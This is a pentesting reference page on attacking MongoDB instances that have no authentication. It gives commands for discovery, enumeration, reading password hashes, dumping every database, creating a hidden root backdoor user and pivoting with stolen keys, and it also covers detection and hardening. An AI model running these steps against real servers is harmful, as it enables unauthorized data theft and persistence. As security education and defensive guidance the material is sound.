Exposed MongoDB
TL;DR: MongoDB on 27017 with no auth or default credentials gives anonymous read/write to every database — historically the canonical mass-ransom target on Shodan.
What it is
A MongoDB instance reachable on a network without authentication, or with default admin:admin style credentials. Until 3.6 the default bind was 0.0.0.0; many lifted-and-shifted deployments still expose the port to the internet. Once connected, an attacker has full administrative access — dump collections, drop databases, leave a ransom note in a WARNING collection.
Preconditions / where it applies
- TCP 27017 (or 27018/27019 for shard/config servers) reachable from the attacker network. Common on cloud VMs with an open security group, or developer machines on a corporate VPN.
--authnot enabled, orsecurity.authorization: disabledinmongod.conf.- Sometimes auth is on but enforced only on a particular database —
adminis open.
Technique
- Discover.
nmap -sV -p 27017 target, Shodanproduct:MongoDB. Banner returns version and sometimes build info viaisMaster. - Connect.
mongosh "mongodb://target:27017"or oldermongo target:27017. If a username is required without a password, tryadmin/empty. -
Enumerate.
1 2 3 4 5
show dbs use <victim_db> show collections db.users.find().limit(5) db.runCommand({ buildInfo: 1 })
-
Server status and users.
1 2 3
db.adminCommand({listDatabases: 1}) db.getSiblingDB("admin").system.users.find() // shows configured users + hashed creds db.serverStatus()
- Dump.
mongodump --uri "mongodb://target:27017" --out ./lootexports every database to BSON. - Write / persistence. Drop a backdoor user:
db.getSiblingDB("admin").createUser({user:"x",pwd:"x",roles:["root"]}). Set up a change stream or replication that copies writes off-site. - Pivot. Read app config collections for service tokens, AWS keys, SMTP credentials, JWT secrets (jwt forgery), and pivot from there.
- Related sink: nosql-injection. App-level operator injection can land you in the same place from a public web form.
Detection and defence
- Bind to loopback or the private interface only (
bindIp: 127.0.0.1,10.0.0.5). Never bind to0.0.0.0on an internet-reachable host. - Enable SCRAM-SHA-256 auth and TLS for both clients and the inter-shard wire. Disable the legacy
MONGODB-CRmechanism. - Cloud: lock the security group / firewall to app subnets; use a managed offering (Atlas / DocumentDB) where the network is opinionated.
- Detection: net-flow alerts on inbound 27017 from outside the VPC,
mongod.logauthentication failedspikes, presence of aWARNING/READMEransom collection.
References
- MongoDB Manual — Security checklist — official hardening.
- HackTricks — MongoDB pentesting — enumeration and commands.
- Rapid7 — MongoDB exposure background — ransomware-campaign history.